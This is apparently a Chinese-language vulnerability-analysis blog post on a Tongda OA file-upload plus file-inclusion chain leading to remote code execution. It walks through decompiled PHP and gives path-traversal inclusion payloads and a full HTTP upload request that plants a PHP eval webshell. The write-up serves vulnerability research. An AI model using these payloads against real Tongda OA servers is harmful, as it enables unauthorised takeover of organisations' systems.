通达OA RCE

# 通达OA RCE ## 0x01 获取信息 ``` 获取版本信息 inc/expired.php inc/reg_trial.php inc/reg_trial_submit.php 获取计算机名 resque/worker.php ``` ## 0x02 影响版本...

通达OA RCE

0x01 获取信息

  1. 获取版本信息
  2. inc/expired.php
  3. inc/reg_trial.php
  4. inc/reg_trial_submit.php
  5. 获取计算机名
  6. resque/worker.php

0x02 影响版本

V11版
2017版
2016版
2015版
2013增强版
2013版

0x03 漏洞简介

任意文件上传+文件包含最后getshell

不同版本文件包含的地址不一样

  1. 2013
  2. /ispirit/im/upload.php
  3. /ispirit/interface/gateway.php
  4. 2017
  5. /ispirit/im/upload.php
  6. /mac/gateway.php

2015说是没有文件包含,到时候本地搭一下看看

0X04 文件包含

上面说过了2017的文件包含位置

  1. http://127.0.0.1/mac/gateway.php
  2. post:json={"url": "../../nginx/logs/oa.access.log"}

但是看了一下代码并不知道为什么可以包含文件,因为没有$_POST的地方

后来一直翻包含文件才发现原来是inc/common.inc.php

  1. if (0 < count($_COOKIE)) {
  2. foreach ($_COOKIE as $s_key => $s_value ) {
  3. if (!is_array($s_value)) {
  4. $_COOKIE[$s_key] = addslashes(strip_tags($s_value));
  5. }
  6. $s_key = $_COOKIE[$s_key];
  7. }
  8. reset($_COOKIE);
  9. }
  10. if (0 < count($_POST)) {
  11. $arr_html_fields = array();
  12. foreach ($_POST as $s_key => $s_value ) {
  13. if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") {
  14. if (!is_array($s_value)) {
  15. $_POST[$s_key] = addslashes(strip_tags($s_value));
  16. }
  17. $s_key = $_POST[$s_key];
  18. }
  19. else {
  20. if (($s_key == "TD_HTML_EDITOR_FORM_HTML_DATA") || ($s_key == "TD_HTML_EDITOR_PRCS_IN") || ($s_key == "TD_HTML_EDITOR_PRCS_OUT") || ($s_key == "TD_HTML_EDITOR_QTPL_PRCS_SET") || (isset($_POST["ACTION_TYPE"]) &amp;&amp; (($_POST["ACTION_TYPE"] == "approve_center") || ($_POST["ACTION_TYPE"] == "workflow") || ($_POST["ACTION_TYPE"] == "sms") || ($_POST["ACTION_TYPE"] == "wiki")) &amp;&amp; (($s_key == "CONTENT") || ($s_key == "TD_HTML_EDITOR_CONTENT") || ($s_key == "TD_HTML_EDITOR_TPT_CONTENT")))) {
  21. unset($_POST[$s_key]);
  22. $s_key = ($s_key == "CONTENT" ? $s_key : substr($s_key, 15));
  23. $s_key = addslashes($s_value);
  24. $arr_html_fields[$s_key] = $s_key;
  25. }
  26. else {
  27. $encoding = mb_detect_encoding($s_value, "GBK,UTF-8");
  28. unset($_POST[$s_key]);
  29. $s_key = substr($s_key, 15);
  30. $s_key = addslashes(rich_text_clean($s_value, $encoding));
  31. $arr_html_fields[$s_key] = $s_key;
  32. }
  33. }
  34. }
  35. reset($_POST);
  36. $_POST = array_merge($_POST, $arr_html_fields);
  37. }
  38. if (0 < count($_GET)) {
  39. foreach ($_GET as $s_key => $s_value ) {
  40. if (!is_array($s_value)) {
  41. $_GET[$s_key] = addslashes(strip_tags($s_value));
  42. }
  43. $s_key = $_GET[$s_key];
  44. }
  45. reset($_GET);
  46. }
  47. unset($s_key);
  48. unset($s_value);

有这么一段代码,就是所有GET,POST,COOKIE都会经过过滤,同时所有变量都可以直接传参,有点变量覆盖的感觉了

那其实文件包含在GET,POST,COOKIE里面都可以,尝试了之后发现是可行的

下面是gateway.php

  1. <?php
  2. ob_start();
  3. include_once "inc/session.php";
  4. include_once "inc/conn.php";
  5. include_once "inc/utility_org.php";
  6. if ($P != "") {
  7. if (preg_match("/[^a-z0-9;]+/i", $P)) {
  8. echo _("非法参数");
  9. exit();
  10. }
  11. session_id($P);
  12. session_start();
  13. session_write_close();
  14. if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
  15. echo _("RELOGIN");
  16. exit();
  17. }
  18. }
  19. if ($json) {
  20. $json = stripcslashes($json);
  21. $json = (array) json_decode($json);
  22. foreach ($json as $key => $val ) {
  23. if ($key == "data") {
  24. $val = (array) $val;
  25. foreach ($val as $keys => $value ) {
  26. $keys = $value;
  27. }
  28. }
  29. if ($key == "url") {
  30. $url = $val;
  31. }
  32. }
  33. if ($url != "") {
  34. if (substr($url, 0, 1) == "/") {
  35. $url = substr($url, 1);
  36. }
  37. include_once $url;
  38. }
  39. exit();
  40. }
  41. ?>

有些版本在包含$url的时候也会有判断,比如一定要包含general,ispirit,module其中一个,

可以通过../general/../../nginx/logs/oa.access.log绕过

如果不传P就可绕过第一个判断,第二个判断需要先传入一个json,可以把url放到json里面,也可以把url参数单独传,只要url不为空就会进入第一个包含

总结一下常规的payload

  1. json={"url": "../../nginx/logs/oa.access.log"}
  2. json{}=&amp;url=../../nginx/logs/oa.access.log
  3. json{}=&amp;url=../general/../../nginx/logs/oa.access.log

0x05 文件上传

http://127.0.0.1/ispirit/im/upload.php

首先传入P绕过第一个判断

不一定要获取session,主要是要绕过这个判断不走到auth.php里面

DEST_UID的两个判断不是关键,只要$UPLOAD_MODE为2都是可以走出去,不像有些文章说的一定不能等于0

但是upload里面进去找了半天还是不知道为什么就上传成功了

upload->add_attach->$ATTACH_ENCRYPT[“ENABLE”] == 1

主要就是走这么一条路,ENABLE=1就上传成功了,但是不知道上传文件的代码在哪,也不知道ENABLE怎么变成1的,果然还是太弟弟了下,希望有大佬看到了带带我

这边就不继续看下去了,upload主要就是过滤后缀,不过因为有文件包含,后缀白名单里面选一个就行

现在看下来需要这几个参数

  1. UPLOAD_MODE
  2. P
  3. DEST_UID (可为空,但UPLOAD_MODE必须为2)
  4. ATTACHMENT

就可以构造exp了

  1. POST /ispirit/im/upload.php HTTP/1.1
  2. Host: 127.0.0.1
  3. Content-Length: 626
  4. Cache-Control: no-cache
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
  6. Content-Type: multipart/form-data; boundary=---123
  7. Accept: */*
  8. Accept-Encoding: gzip, deflate
  9. Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
  10. Cookie: PHPSESSID=123
  11. Connection: close
  12. ---123
  13. Content-Disposition: form-data; name="UPLOAD_MODE"
  14. 2
  15. ---123
  16. Content-Disposition: form-data; name="P"
  17. 123
  18. ---123
  19. Content-Disposition: form-data; name="DEST_UID"
  20. 1
  21. ---123
  22. Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
  23. Content-Type: image/jpeg
  24. <?php eval($_POST['pass']); ?>
  25. ---123

这里Content-Type后面的boundary要和下面都一样,这也是刚刚学到的

还有一句话可以正常写,因为蚁剑自带COM执行命令

之后看看能不能写个工具自动化吧

  • 发表于 2021-05-29 02:49:44
  • 阅读 ( 7293 )
  • 分类:漏洞分析

0 条评论

Macchiato
Macchiato

13 篇文章

站长统计